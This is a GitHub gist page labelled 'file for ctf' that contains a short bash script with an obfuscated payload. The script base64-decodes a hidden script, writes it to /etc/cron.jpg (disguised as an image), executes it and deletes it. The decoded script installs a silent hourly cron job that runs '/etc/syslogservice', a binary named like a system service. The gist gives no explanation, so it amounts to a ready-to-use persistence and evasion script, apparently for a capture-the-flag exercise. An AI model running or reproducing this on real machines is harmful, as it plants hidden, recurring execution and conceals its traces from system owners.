Skip to content

Instantly share code, notes, and snippets.

@sharmaharjeet92
Last active December 2, 2020 10:49
Show Gist options
  • Save sharmaharjeet92/ab150c0e875bfb18da24f666b45afd93 to your computer and use it in GitHub Desktop.
Save sharmaharjeet92/ab150c0e875bfb18da24f666b45afd93 to your computer and use it in GitHub Desktop.
file for ctf
#!/bin/bash
echo "IyEvYmluL2Jhc2gKY3JvbmNtZD0iL2V0Yy9zeXNsb2dzZXJ2aWNlID4vZGV2L251bGwgMj4mMSIKY3JvbmpvYj0iNSAqICogKiAqICRjcm9uY21kIgooIGNyb250YWIgLWwgfCBncmVwIC12IC1GICIkY3JvbmNtZCIgO2VjaG8gLWUgIiRjcm9uam9iIikgfCBjcm9udGFiIC0KZWNobyAtZSAiXGVbMzFtSGVyZSBpcyB0aGUgY3JvbnRhYiBydW5uaW5nOlxlWzBtIgpjcm9udGFiIC1sCg==" | base64 --decode > /etc/cron.jpg;chmod +x /etc/cron.jpg;/etc/cron.jpg;rm -rf /etc/cron.jpg
echo -e "\e[31mDone\e[0m"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment